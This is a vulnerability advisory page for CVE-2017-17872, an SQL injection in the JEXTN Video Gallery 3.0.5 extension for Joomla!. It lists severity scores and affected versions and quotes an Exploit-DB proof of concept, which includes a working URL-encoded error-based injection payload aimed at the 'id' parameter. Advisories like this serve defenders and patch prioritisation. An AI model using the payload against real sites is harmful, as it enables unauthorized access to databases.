CVE-2017-17872

critical

Published 2017-12-27 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

The JEXTN Video Gallery extension 3.0.5 for Joomla! has SQL Injection via the id parameter in a view=category action.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43330 webapps php verified text · 1 KB

Ihsan Sencan · 2017-12-13

Joomla! Component JEXTN Video Gallery 3.0.5 - 'id' SQL Injection

text exploit Source: Exploit-DB

# # # # #
# Exploit Title: Joomla! Component JEXTN Video Gallery 3.0.5 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/jextn-video-gallery/
# Version: 3.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jevideogallery&view=category&id=99[SQL]
#  
# 99%20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e,0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
# 
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# # # # #

Application impact

Vendor	Product	Versions	Fixed
jextn	jextn_video_gallery	`3.0.5`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.